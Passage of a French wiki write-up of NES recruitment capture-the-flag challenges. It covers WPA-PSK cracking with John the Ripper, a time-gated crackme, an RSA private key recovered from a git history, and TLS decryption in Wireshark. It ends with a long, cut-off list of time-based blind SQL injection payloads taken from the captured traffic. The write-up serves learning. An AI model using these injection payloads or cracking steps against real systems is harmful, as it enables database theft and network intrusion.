:curiosite:challenge:nes:cracking_wpa-psk_wpa2-psk_with_john_the_ripper_openwall_community_wiki_2020-04-28_10_32_05_pm_.html |Archive du 15/06/2015 le 28/04/2020}} Il faut extraire les données ''Handshake'' avec [[http://sourceforge.net/projects/cap2hccap/files/|cap2hccap]] ({{ :curiosite:challenge:nes:cap2hccap.tar.bz2 |Archive}}). cap2hccap.bin sniff03.pcap sniff03.hccap [info ] writing handshake for "CRACK_ME_IF_YOU_CAN". Ensuite, il faut convertir vers un format compatible avec John the ripper. /usr/sbin/hccap2john sniff03.hccap > sniff03 Puis, on lance john the ripper : john --format=wpapsk-opencl sniff03 -w -w ../01/wl_fr_nes/wl_fr.txt Sans succès. Ni non plus en appliquant la règle du cas 1. Tant pis :( ====Cas 3==== Il s'agit du fichier ''crack_me.exe''. Lors de l'exécution, j'obtiens : today time is = 23:43:39 Il n'est pas l'heure ! Avant de désassembler, j'ai ouvert avec un éditeur hexadécimal le binaire pour trouver la chaîne de caractères ''today time is'' et juste à coté on peut lire en clair ''05:22:43''. En exécutant le programme à 5h22m43s, le texte devient today time is = 05:22:43 {NesToken}:?*itQ9}o hex:3F2A697451397D6F La valeur ''hex'' est la même que le texte en clair. Là, j'ai pas trouvé si c'était le mot de passe ou s'il fallait en faire quelque chose… =====Numéro 3===== Décembre 2018 : un nouveau challenge : [[https://pastebin.com/raw/BUfMLm6L]] ====Le Challenge==== ,*//*. *(((((((((( /. ,/// /// /////////////* .////////////, (((((((((((/ ((( (((((((. ((* .(((((((((((((. /((((((((((((((* .(((((. .((((..(((( ((( /(((/ /(( /((. .((/ (((((( /(. (( /((((* *((, /((( ((( ((( ((( (((((/ (((( (((((/ ((( ((((((. ,((((((((, /((((((((((( /((((..((((* .(((((. .((/ ((((( ((( ((( (((( ((((((((((((/ /((. .(((/ ((/ ((( ((* (((((((((((* ((( (((. *((((((((((((( (((((((((((((((. *((((((((( MISC - Challenge Un de nos client VIP a subi une attaque ! D'après lui des données ultra-confidentielles ont fuitées ... Nous comptons sur vous pour retrouver ce qui a fuité ! Pour ce faire le client nous a transmis une capture réseau de l'attaque. uggcf://jjj.arf.se/punyyratr/ARF-punyyratr.gne.tm # Retrouver l'adresse mail de NES qui vous permettera de postuler ! GL HF ====Le chiffre de César==== On repère facilement en première ligne les ''https:''. Entre le ''h'' et le ''u'', il y a 13 lettres. C'est le chiffre de César qui permet un décalage en +13 ou -13 pour chiffrer / déchiffrer. Il y a des sites internet qui le font très bien [[http://www.nymphomath.ch/crypto/cesar/index.html|Chiffre de César]] {{ :curiosite:challenge:nes:chiffre_de_cesar_2020-04-28_10_32_55_pm_.html |Archive du 01/06/2011 le 28/04/2020}}. Résultat : [[https://www.nes.fr/challenge/NES-challenge.tar.gz]], {{ :curiosite:challenge:nes:nes-challenge.tar.gz |archive}} ====L'analyse du dump Wireshark==== Il n'y a pas d'interférence dans le dump. Il y a plusieurs blocs séparés par des resets du serveur TCP. Le premier bloc est sans intérêt (trames 1 à 79). Le deuxième bloc, il y a un téléchargement d'un fichier {{ :curiosite:challenge:nes:backup.tar.gz |backup.tar.gz}} : demande à la trame 83, fichier récupérable à la trame 101. Pour récupérer le fichier, voir le [[#Cas_1|cas 1 du numéro 2]]. ====backup.tar.gz==== Il s'agit du code source du serveur PHP et de son dépôt git avec ''index.php'' qui est le code source du serveur php (nom d'utilisateur et mot de passe : WeMissYouBob et cyabob). En regardant dans l'historique du dépôt, on trouve un fichier qui contient une clé privée : -----BEGIN PRIVATE KEY----- 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 4oTi0r98jSZ4jUksWvvYWgqQnzdTZh0nlyW3Y2p5AoIBABXTxVEiiSlsPYqhjLc7 2YUWnSUKqjO5JrZe2EirUIBiy/yLgCeue6i3z5tLwJ0lRn3MnbdS+b8JOTS2Tc02 xcO/n6++3atkhMFu9BVAyo/Dv/Cl+enFyS1CAJCX8C5F+esmStnJCeYs5zZz0+v0 dEWHLQvCYnf208jXpPdPXzxKfyPYGer35cRVViwvxXLaRqI6vuJkj1P1DVgxg3Y0 dU/tuBklKUsctnLj2ll6K3ukTPYMEN9/ioEhve0ccBeiDrMzijFKs07YZIySF/hg 4eCVHyyWABaAMRoNII7L8iy5lGmI7uFuZrFIA4/YEVCNThzFGj1wUNqluenYNS8n ALUCggEAQEmn/Rgsp0X4pbANuyDn9a1TrEZzWVXcmEF0aAKGYOaUt2zP6+LeesJW QdBRwyPpnE9HHA6FK8gD2HzZDuPV1j6pramhe6pqPc6BidOxnCH31rPfTDYXp8hl ONMy7YSlXctCwoD96VVB/rfpqPu0g14aEXXjMjvKDpEPrma33NH2qKqilgabo2hM bWMmXXFvr/xhcrKHvnn7j0ht5o4qrF+gdzvozkaq4Eukx/Kzw16Qw1Zo3bNW/3m2 e0x0IFN2EFYZ9OJ8Vohs3Kj7QzEkhZpgSaokMhZOeVyzx66GHvzWekVRzdbvnES7 9nvTPofCCLI8FUKk5a0btwVfKkoNZg== -----END PRIVATE KEY----- Une analyse de la clé indique : openssl rsa -text -noout -modulus < key.asc RSA Private-Key: (4096 bit, 2 primes) modulus: 00:be:9d:33:77:9f:42:41:48:7d:78:1c:d0:e4:0f: 42:27:bb:d6:34:47:01:91:64:77:16:63:3c:8d:cb: 51:fc:8f:fa:71:fd:7b:19:26:d1:0b:27:c6:f4:39: bf:cf:f9:22:0d:4e:9a:5c:3c:b6:18:83:33:1f:79: 3d:4f:60:90:1d:5e:b7:73:f1:f3:cf:ba:10:20:5e: 23:e1:5c:ea:72:40:a1:ff:5d:26:02:46:95:d9:96: 22:33:00:16:b0:59:db:ec:c5:74:ac:23:fc:95:b5: da:d5:8c:f6:62:0a:e4:39:95:84:24:bd:88:58:d2: 2a:b0:7f:7c:e0:97:a0:1b:cf:4c:9c:13:7f:8d:2b: 7c:c3:30:c7:45:28:dc:de:71:89:bf:60:6b:e1:41: e3:9e:8c:4b:ff:85:5b:5f:8f:cc:38:32:e5:86:35: 95:7f:6a:6e:c3:97:26:01:d5:94:4e:80:b6:6b:dd: 67:aa:5c:bc:73:4b:dd:f3:a9:d4:17:2c:b0:c9:d0: 4b:76:83:3f:a5:c3:39:c8:22:97:c5:52:c4:51:16: 32:2c:e9:4e:66:4b:c6:ee:46:0b:6f:ab:f1:08:3a: 3f:50:01:b0:d5:f8:3d:7c:7d:cb:a3:75:72:f6:63: 8d:93:28:6f:12:ba:e7:6c:0b:43:e4:11:bc:2f:65: 82:fd:25:0c:6e:94:79:72:87:75:a3:98:10:a8:fc: a8:db:2e:b6:12:29:5c:6c:fd:6b:ca:3c:17:ab:9e: f4:79:39:f2:90:7d:e8:22:4d:b4:a3:de:bb:9c:8f: b4:e7:ef:1f:c3:87:7d:c0:1c:f9:d7:64:93:1a:22: cc:0f:28:df:98:c3:68:d9:3f:66:c7:a1:be:29:8c: cd:c7:9b:a1:c5:0d:fd:77:50:e5:f8:d8:d8:7e:9b: 90:60:5a:54:4d:f9:5f:3c:c5:fa:5a:b2:28:ad:91: 91:26:4a:c8:73:18:eb:9b:1d:8b:93:9f:17:57:c0: e4:c2:58:af:e1:ca:16:a1:0c:58:de:95:7c:1a:8e: 0b:a7:f0:c2:88:c6:f6:f0:a5:00:60:2f:16:d8:fb: 32:78:de:40:b1:50:24:08:7a:38:14:f5:91:19:bf: 82:2e:d7:38:71:3b:38:43:47:00:62:53:58:77:4e: 60:c4:ec:76:77:0f:65:44:54:30:a4:f4:ea:e3:d1: 38:70:ce:bc:c3:64:fd:e7:da:80:c2:9b:98:ae:42: 6e:d6:bb:4b:8e:8b:7f:98:8a:2f:be:bf:cf:0f:44: 6c:a6:c2:09:5d:a4:03:c5:60:c0:1a:d8:00:b5:ab: b2:d6:f1:a6:2f:b1:66:87:22:a3:38:46:4a:66:61: 9b:6a:49 publicExponent: 65537 (0x10001) privateExponent: 3d:39:4c:e0:ad:3c:a0:af:61:ed:84:83:eb:dc:a2: c9:14:62:16:e4:7f:b2:6d:6c:7a:ba:61:26:c2:19: 91:5f:c5:77:7b:8d:60:64:c1:5c:2d:e8:8f:65:45: 20:cd:ca:8c:2f:a5:10:df:47:35:d4:5e:45:4b:b1: cf:9f:1a:6a:f4:93:44:20:80:c9:45:e0:0c:25:70: ac:e0:25:45:91:50:f7:2e:ba:18:9d:07:60:9e:02: 5a:13:3b:36:65:86:68:24:7b:f7:16:8f:f8:9e:32: ad:c8:db:12:5e:a1:33:85:bc:ad:f8:5a:a4:fc:cc: 4d:68:85:79:b5:f9:ed:34:c6:4c:93:4e:b2:cf:37: 01:92:d7:4e:75:73:8b:d7:38:01:4a:3d:1c:5b:07: 7b:53:60:cd:af:cd:cb:81:ea:7c:5a:8c:b2:70:df: 95:cf:5f:c8:5e:f2:0c:40:c7:a3:f7:5f:a0:81:ba: dc:53:71:0c:2f:60:18:f5:81:73:f8:1c:c8:95:a8: c7:66:1c:b9:67:5d:55:d5:16:9e:80:99:21:da:59: 3f:67:a8:90:de:e2:04:82:67:05:f5:5a:33:e4:51: 95:a7:15:5f:84:9e:6b:30:14:8a:6a:1d:04:da:b1: 0c:85:3e:37:eb:e4:8d:25:89:26:e6:33:65:9d:db: 56:59:c6:a3:0d:fc:62:bd:82:6b:38:64:eb:80:5e: 88:08:3e:ba:7e:5c:2e:b0:b7:d5:1a:00:ff:44:5b: 94:f2:3c:eb:aa:6e:7a:b2:df:e4:db:e0:7c:4d:85: 4a:a8:97:71:8f:78:d1:bb:a9:b7:f6:3a:2e:92:1b: 04:15:de:82:ed:1b:12:ea:1c:aa:7a:a2:16:3b:ad: 96:76:0e:84:51:8b:61:29:98:17:8d:c9:f0:c8:19: ca:4a:00:99:5e:fa:f3:35:4e:4d:32:82:33:7f:10: 5c:82:9d:d0:77:69:5d:53:ff:d3:6d:5d:86:f9:48: c2:47:f5:c8:d4:cb:06:dc:3c:36:ee:75:d4:7a:3c: 10:08:1c:cf:39:00:93:bd:22:47:e7:cc:05:17:a1: 43:61:77:d0:fb:39:65:d6:bf:2a:05:9a:2f:15:4b: b8:0b:a4:29:80:74:cc:30:00:ff:c2:0b:b5:01:61: c1:7e:71:0e:33:a5:18:b5:26:dc:73:9a:87:2b:c3: f0:58:59:ab:f7:98:87:52:9a:e0:bc:b9:05:64:c9: 6a:c0:7c:bc:ea:1b:4f:f6:cd:d9:05:80:c4:5b:7e: 00:f6:ef:81:06:25:07:c2:b0:f7:5a:1c:e6:b6:5f: 2b:6c:ed:21:42:49:ef:85:bb:c1:68:18:74:4f:8b: 09:89 prime1: 00:e8:fc:80:2f:58:c0:5e:00:31:a0:e4:e4:bd:e3: e0:c4:d7:a7:b6:c8:b5:0c:d9:63:22:ef:65:e5:c7: b9:80:44:0a:58:12:10:b0:10:fd:3d:5d:75:4f:fe: 52:50:56:c5:7a:4b:91:61:c4:88:71:d3:99:13:dc: 04:e7:96:74:25:65:71:11:d2:51:de:7a:7d:97:4d: 8e:72:08:c1:71:0e:62:3a:e2:53:0f:91:ee:7f:e0: 1c:e8:05:91:9f:a4:af:16:84:a9:32:4a:5b:b0:ab: 62:67:df:da:be:60:a2:b4:b4:00:c1:a3:3e:c9:3c: 58:c7:15:e5:67:99:28:0c:2b:98:34:47:fa:b4:cd: 19:d9:74:e2:bc:5b:f9:d4:05:b7:3a:7a:5a:5e:2c: 22:63:13:99:87:6e:1b:45:65:77:cd:7b:f0:f9:3a: 76:0a:f8:46:05:d7:36:e6:c8:1d:20:0b:de:f8:ee: 9b:50:14:80:59:5c:b7:00:88:77:bb:10:fb:a7:f3: 26:ec:9b:94:b4:34:40:d4:66:fb:03:3b:8a:92:b9: cb:bc:33:91:5f:02:66:98:3e:71:33:c0:d6:43:e6: 6d:6b:fe:cc:69:f1:aa:30:b3:03:b3:a8:d7:5c:1b: 05:a2:5e:5f:bb:c6:93:3f:89:1c:32:18:e8:91:73: d9:7f prime2: 00:d1:71:3c:d4:4a:73:24:68:e8:f1:a5:de:98:7f: 2a:8a:16:6c:3b:f6:ad:1a:e3:3a:fa:6f:a5:20:4b: 4e:a0:18:73:b8:04:13:02:92:9a:8b:69:7c:54:af: 42:d3:77:b3:f3:d2:8d:d4:18:ed:8f:37:68:32:5b: 66:4e:95:49:ee:f5:db:d8:10:b1:e5:d8:46:63:8a: 5d:43:20:00:9e:db:ee:79:36:71:c8:f7:30:9d:8a: d3:58:19:d1:01:81:51:ad:65:f3:42:56:a5:56:fc: d4:1f:4c:7a:08:42:93:73:cc:38:c8:47:e6:00:32: d0:d5:ec:93:c9:e3:9b:fc:77:78:67:6b:c9:d7:70: 19:0b:e2:b5:51:8e:dd:d7:0f:45:f5:b4:ed:ad:38: 36:4a:fa:46:cf:e7:d9:4e:ee:f7:18:06:e5:cb:92: a5:14:63:e8:e5:79:69:85:fa:a3:7c:f4:b4:00:09: da:cd:43:ea:bc:51:39:9a:96:92:54:ca:09:f1:3d: bf:43:46:90:23:38:b9:7e:dc:b6:67:54:de:3f:14: e7:d9:d0:0c:76:73:e0:e6:38:9e:c5:05:ce:ff:c4: 12:68:66:44:01:65:ba:df:31:48:55:98:24:e7:bc: 2e:da:dd:1a:db:70:4e:5f:73:3d:61:01:d6:72:40: 50:37 exponent1: 00:bb:43:d8:b4:35:9d:c8:f0:56:f3:7f:86:eb:a9: f1:cb:c5:9a:a4:2c:06:79:e1:70:f1:6f:82:73:82: 68:f3:53:bd:0c:b4:d8:7c:eb:ea:e0:1b:f2:62:ed: 83:b3:d7:4a:ba:d5:6a:71:2e:ca:8c:d3:0a:c3:0f: a1:51:93:78:9f:66:3d:cf:99:40:fc:95:6f:c4:e1: 2d:91:32:c0:68:e2:aa:c9:b1:88:19:87:ae:2f:52: 2f:69:be:b0:21:a4:f8:a6:1c:d2:f1:fd:1a:5d:92: 23:72:62:57:2b:95:f8:b1:4d:cd:1d:d6:dc:6c:5a: f8:f0:6c:05:0b:93:ea:c0:7d:79:c4:eb:e5:f2:d4: b7:e6:35:30:d9:3d:04:3d:0a:ab:0f:71:b0:98:e8: d8:6a:d2:22:20:dc:bb:46:b8:1b:e7:29:ab:b2:66: ee:e2:3a:53:ed:f5:e1:c6:f5:29:93:cc:76:d7:96: d1:77:38:43:41:90:67:f7:21:b9:3a:be:97:c7:92: 84:c2:c0:fa:71:2d:5e:be:5a:57:7f:6d:a8:1f:ee: fe:76:b2:ec:31:75:78:88:fe:07:77:15:94:22:d7: 5f:33:e2:84:e2:d2:bf:7c:8d:26:78:8d:49:2c:5a: fb:d8:5a:0a:90:9f:37:53:66:1d:27:97:25:b7:63: 6a:79 exponent2: 15:d3:c5:51:22:89:29:6c:3d:8a:a1:8c:b7:3b:d9: 85:16:9d:25:0a:aa:33:b9:26:b6:5e:d8:48:ab:50: 80:62:cb:fc:8b:80:27:ae:7b:a8:b7:cf:9b:4b:c0: 9d:25:46:7d:cc:9d:b7:52:f9:bf:09:39:34:b6:4d: cd:36:c5:c3:bf:9f:af:be:dd:ab:64:84:c1:6e:f4: 15:40:ca:8f:c3:bf:f0:a5:f9:e9:c5:c9:2d:42:00: 90:97:f0:2e:45:f9:eb:26:4a:d9:c9:09:e6:2c:e7: 36:73:d3:eb:f4:74:45:87:2d:0b:c2:62:77:f6:d3: c8:d7:a4:f7:4f:5f:3c:4a:7f:23:d8:19:ea:f7:e5: c4:55:56:2c:2f:c5:72:da:46:a2:3a:be:e2:64:8f: 53:f5:0d:58:31:83:76:34:75:4f:ed:b8:19:25:29: 4b:1c:b6:72:e3:da:59:7a:2b:7b:a4:4c:f6:0c:10: df:7f:8a:81:21:bd:ed:1c:70:17:a2:0e:b3:33:8a: 31:4a:b3:4e:d8:64:8c:92:17:f8:60:e1:e0:95:1f: 2c:96:00:16:80:31:1a:0d:20:8e:cb:f2:2c:b9:94: 69:88:ee:e1:6e:66:b1:48:03:8f:d8:11:50:8d:4e: 1c:c5:1a:3d:70:50:da:a5:b9:e9:d8:35:2f:27:00: b5 coefficient: 40:49:a7:fd:18:2c:a7:45:f8:a5:b0:0d:bb:20:e7: f5:ad:53:ac:46:73:59:55:dc:98:41:74:68:02:86: 60:e6:94:b7:6c:cf:eb:e2:de:7a:c2:56:41:d0:51: c3:23:e9:9c:4f:47:1c:0e:85:2b:c8:03:d8:7c:d9: 0e:e3:d5:d6:3e:a9:ad:a9:a1:7b:aa:6a:3d:ce:81: 89:d3:b1:9c:21:f7:d6:b3:df:4c:36:17:a7:c8:65: 38:d3:32:ed:84:a5:5d:cb:42:c2:80:fd:e9:55:41: fe:b7:e9:a8:fb:b4:83:5e:1a:11:75:e3:32:3b:ca: 0e:91:0f:ae:66:b7:dc:d1:f6:a8:aa:a2:96:06:9b: a3:68:4c:6d:63:26:5d:71:6f:af:fc:61:72:b2:87: be:79:fb:8f:48:6d:e6:8e:2a:ac:5f:a0:77:3b:e8: ce:46:aa:e0:4b:a4:c7:f2:b3:c3:5e:90:c3:56:68: dd:b3:56:ff:79:b6:7b:4c:74:20:53:76:10:56:19: f4:e2:7c:56:88:6c:dc:a8:fb:43:31:24:85:9a:60: 49:aa:24:32:16:4e:79:5c:b3:c7:ae:86:1e:fc:d6: 7a:45:51:cd:d6:ef:9c:44:bb:f6:7b:d3:3e:87:c2: 08:b2:3c:15:42:a4:e5:ad:1b:b7:05:5f:2a:4a:0d: 66 C'est bien une clé privée RSA. ====Déchiffrage du dump Wireshark==== {{:curiosite:challenge:nes:wireshark_dump_ssl_non_decrypte.png|}} Le ''serveur hello'' indique bien qu'il utilise une clé au format RSA. {{:curiosite:challenge:nes:wireshark_server_hello.png|}} Il faut configurer Wireshark pour décoder le flux SSL avec la clé. Pour cela, il faut aller dans les préférences du protocole SSL. {{:curiosite:challenge:nes:wireshark_preferences.png|}} {{:curiosite:challenge:nes:wireshark_preferences_ssl.png|}} {{:curiosite:challenge:nes:wireshark_preferences_ssl_key.png|}} Et voilà le flux SSL décodé. {{:curiosite:challenge:nes:wireshark_dump_ssl_decrypte.png|}} ====Mail du challenge==== Pour récupérer tous les GET de la communication chiffrée, il faut utiliser le filtre : ssl && http && http.accept et on trouve : /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 6, 1) = '0'), 